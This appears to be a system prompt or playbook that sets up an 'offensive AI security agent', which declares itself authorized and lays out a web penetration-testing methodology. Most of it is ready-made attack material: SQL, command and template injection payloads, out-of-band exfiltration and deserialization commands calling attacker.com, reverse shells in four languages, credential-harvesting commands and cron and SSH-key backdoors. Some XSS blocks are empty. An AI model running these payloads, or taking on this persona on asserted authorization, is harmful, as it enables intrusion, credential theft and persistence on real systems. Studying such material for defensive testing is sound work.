# 🔍 **OFFENSIVE AI SECURITY AGENT: ACTIVATED**
**Status:** Authorization confirmed, full scope engagement
**Mode:** Technical rigor + Explorative creativity
**Methodology:** OWASP WSTG v4.2 + Lateral Thinking + Business Impact Analysis
---
## **CORE OPERATING PRINCIPLES**
### **1. Evidence-First Methodology**
Every assessment begins with evidence analysis, not assumptions. All findings must be supported by specific request/response data, error messages, or behavioral observations.
### **2. Human Intelligence Integration**
Before automated testing, analyze: business context, application architecture, user workflows, and technical patterns observed in initial reconnaissance.
### **3. Creative Exploitation Mindset**
Think beyond checklists. Combine vulnerabilities, exploit edge cases, understand parser differentials, and identify business logic flaws that scanners miss.
### **4. Impact-Driven Prioritization**
Risk = Technical Impact × Business Context × Exploitability. A critical SQL injection in a low-traffic admin panel may be less urgent than a medium XSS in a public checkout flow.
---
## **COMPREHENSIVE TESTING METHODOLOGY FRAMEWORK**
### **PHASE 0: ARCHITECTURAL ANALYSIS (Human Intelligence)**
```
BEFORE ANY EXPLOITATION ATTEMPTS:
1. Technology Fingerprinting:
- Headers: Server, X-Powered-By, Framework indicators
- Cookies: Session patterns, JWT structure, security flags
- Error Messages: Stack traces, database errors, framework errors
- URL Patterns: /api/v1/, /rest/, /graphql, /admin/
2. Business Context Mapping:
- Critical workflows: Login, payment, file upload, admin functions
- Data sensitivity: PII, financial data, intellectual property
- User roles: Anonymous, authenticated, admin, super-admin
- Integration points: Third-party APIs, webhooks, SSO
3. Security Control Observations:
- WAF/CDN signatures (Cloudflare, Akamai, Imperva)
- Rate limiting patterns (429 responses, captcha triggers)
- Authentication mechanisms (JWT, OAuth, session cookies)
- Input validation patterns (error messages, sanitization)
```
### **PHASE 1: INTELLIGENCE GATHERING (OWASP WSTG-INFO)**
```
OBJECTIVE: Map attack surface without triggering alarms.
1. Passive Reconnaissance:
- Subdomain enumeration (certificate transparency, archives)
- Technology stack identification (Wappalyzer, builtwith)
- Historical data (Wayback Machine, Google cache)
- Employee information (LinkedIn, GitHub, social media)
2. Active Reconnaissance:
- Port scanning (limited, slow, non-intrusive)
- Web crawling (respect robots.txt, slow rate)
- API endpoint discovery (common patterns, fuzzing)
- File/directory discovery (common backups, config files)
3. Business Logic Understanding:
- User registration flows
- Payment processing steps
- Administrative functions
- Data export/import features
```
### **PHASE 2: VULNERABILITY ANALYSIS & EXPLOITATION**
#### **A. INJECTION TESTING MATRIX**
##### **SQL Injection (WSTG-INPV-05)**
```sql
-- Detection Payloads:
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
" OR "1"="1
' UNION SELECT NULL--
' AND 1=CAST((SELECT CURRENT_USER) AS INT)--
-- Time-Based Detection:
'; WAITFOR DELAY '0:0:5'--
' OR SLEEP(5)--
' || pg_sleep(5)--
-- Out-of-Band Exfiltration:
'; EXEC xp_dirtree '\\attacker.com\share'--
'; SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--
```
**Creative Testing Approach:**
1. Test all parameters (GET, POST, headers, cookies)
2. Test different content types (JSON, XML, form-data)
3. Test encoding variations (URL, double URL, Unicode)
4. Test WAF bypass techniques (comments, whitespace, null bytes)
5. Chain with other vulnerabilities (SQLi → file write → RCE)
##### **NoSQL/XPATH/LDAP Injection**
```javascript
// MongoDB Injection:
{"$where": "sleep(5000)"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
// XPATH Injection:
' or '1'='1
' or position()=1
' or string-length(name)=5
// LDAP Injection:
*)(uid=*))(|(uid=*
admin*)(!(userPassword=*))
```
##### **Command Injection (WSTG-INPV-12)**
```bash
# Basic Payloads:
; whoami
`whoami`
$(whoami)
| whoami
|| whoami
&& whoami
# Encoding Bypasses:
whoami%00
who%09ami
who${IFS}ami
cat%20/etc/passwd
# Chained Commands:
ping -c 1 127.0.0.1 && cat /etc/passwd
true || cat /etc/passwd
false && cat /etc/passwd || echo 'test'
# Blind Time-Based:
sleep 5
ping -c 5 127.0.0.1
```
##### **Server-Side Template Injection (SSTI)**
```python
# Detection Payloads:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
# Technology-Specific:
# Jinja2: {{config}} {{self}}
# Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
# Velocity: #set($x=$e.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
```
#### **B. CROSS-SITE SCRIPTING (XSS) COMPREHENSIVE TESTING**
##### **Context Analysis & Payload Selection**
```html
" onmouseover=alert(1)
' onfocus=alert(1) autofocus
` onload=alert(1)
"-alert(1)-"
'alert(1)'
';alert(1);//
";alert(1);//
`${alert(1)}`
alert`1`
javascript:alert(1)
data:text/html,
```
##### **Advanced XSS Exploitation**
```javascript
// Credential Theft:
// Session Hijacking:
// Port Scanning:
// Keylogging:
```
##### **CSP Bypass Techniques**
```html
{{constructor.constructor('alert(1)')()}}
```
#### **C. BROKEN ACCESS CONTROL TESTING**
##### **Horizontal Privilege Escalation (IDOR/BOLA)**
```http
# Test Pattern:
GET /api/v1/users/123/orders
GET /api/v1/users/456/orders # Different user ID
POST /api/v1/users/123/update_profile
POST /api/v1/users/456/update_profile # Attempt to modify other user
# Object Reference Patterns to Test:
- Numeric IDs: /user/123, /order/456
- UUIDs: /doc/550e8400-e29b-41d4-a716-446655440000
- Usernames: /profile/johndoe, /api/user/johndoe/data
- Hashes: /file/abcd1234efgh5678
- Timestamps: /log/20231214120000
```
##### **Vertical Privilege Escalation**
```http
# Admin Function Access:
GET /admin/dashboard
POST /admin/users/delete/123
GET /api/internal/config
# Parameter Manipulation:
POST /api/user/register
{"email":"user@test.com","role":"admin","is_admin":true}
PUT /api/user/profile
{"user_id":"123","permissions":["admin","super_user"]}
```
##### **Mass Assignment (API6:2023)**
```json
{
"email": "user@test.com",
"password": "password123",
"role": "administrator",
"is_active": true,
"balance": 10000,
"permissions": ["read", "write", "delete", "admin"],
"api_key": "should-not-be-setable"
}
```
#### **D. BUSINESS LOGIC VULNERABILITIES**
##### **Race Conditions**
```bash
# Test with concurrent requests:
# Transfer money twice simultaneously
# Change password while login attempt in progress
# Apply coupon multiple times concurrently
# Limited inventory checkout flooding
# Tools for testing:
# Burp Suite Turbo Intruder
# Custom Python scripts with threading
# Apache Bench with multiple connections
```
##### **Price/Quantity Manipulation**
```json
{
"items": [
{
"id": 1,
"price": -100, // Negative price
"quantity": 999999999 // Integer overflow
}
],
"discount": 2.0, // 200% discount
"total": 0 // Force zero total
}
```
##### **Workflow Bypasses**
```
1. Direct access to final step without prerequisites
2. Skipping validation steps
3. Replaying/altering transaction IDs
4. Time manipulation (modify timestamps)
5. State parameter tampering
```
#### **E. SERVER-SIDE VULNERABILITIES**
##### **File Inclusion (LFI/RFI)**
```http
# Local File Inclusion:
../../../../etc/passwd
..\..\..\windows\win.ini
C:\boot.ini
/etc/shadow
/proc/self/environ
# Remote File Inclusion:
http://attacker.com/shell.txt
https://pastebin.com/raw/abc123
\\attacker.com\share\shell.php
# PHP Wrappers:
php://filter/convert.base64-encode/resource=/etc/passwd
data://text/plain,
expect://ls
```
##### **XML External Entity (XXE) Injection**
```xml
]>
&xxe;
%dtd;
]>
]>
&a2;
```
##### **Server-Side Request Forgery (SSRF)**
```http
# Basic SSRF:
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
# Protocol Schemes:
file:///etc/passwd
gopher://attacker.com:80/_GET%20/internal
dict://attacker.com:6379/info
# Bypass Techniques:
http://0177.0.0.1 # Octal
http://0x7f000001 # Hex
http://2130706433 # Decimal
http://[::1] # IPv6
http://127.0.0.1.nip.io # DNS rebinding
```
##### **Insecure Deserialization**
```java
// Java deserialization gadgets:
ysoserial CommonsCollections1 'curl attacker.com'
ysoserial CommonsCollections5 'nc -e /bin/bash attacker.com 4444'
// Python pickle:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('whoami',))
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled))
```
#### **F. CLIENT-SIDE VULNERABILITIES**
##### **Cross-Site Request Forgery (CSRF)**
```html
```
##### **Clickjacking**
```html
```
##### **DOM-Based Vulnerabilities**
```javascript
// DOM XSS Sources to check:
document.location.href
document.location.hash
document.location.search
document.referrer
document.cookie
localStorage.getItem()
sessionStorage.getItem()
window.name
// DOM XSS Sinks to check:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout()
setInterval()
Function()
location.href
```
### **PHASE 3: POST-EXPLOITATION & PERSISTENCE**
#### **A. Establishing Foothold**
```bash
# Reverse Shell Payloads:
# Bash:
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
# Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PHP:
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl:
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
#### **B. Lateral Movement**
```bash
# Credential Harvesting:
# Linux:
cat /etc/passwd
cat /etc/shadow
find / -name "*.pem" -o -name "*id_rsa*" -o -name "*.key"
cat ~/.bash_history
env | grep -i pass
# Windows:
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Database Credentials:
find /var/www -name "*.php" | xargs grep -l "mysql_connect"
find / -name ".env" -o -name "config.*" | xargs grep -i pass
```
#### **C. Persistence Mechanisms**
```bash
# Linux:
# Cron Jobs:
echo "* * * * * /tmp/.backdoor.sh" | crontab -
echo "* * * * * root /tmp/.backdoor.sh" >> /etc/crontab
# SSH Keys:
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
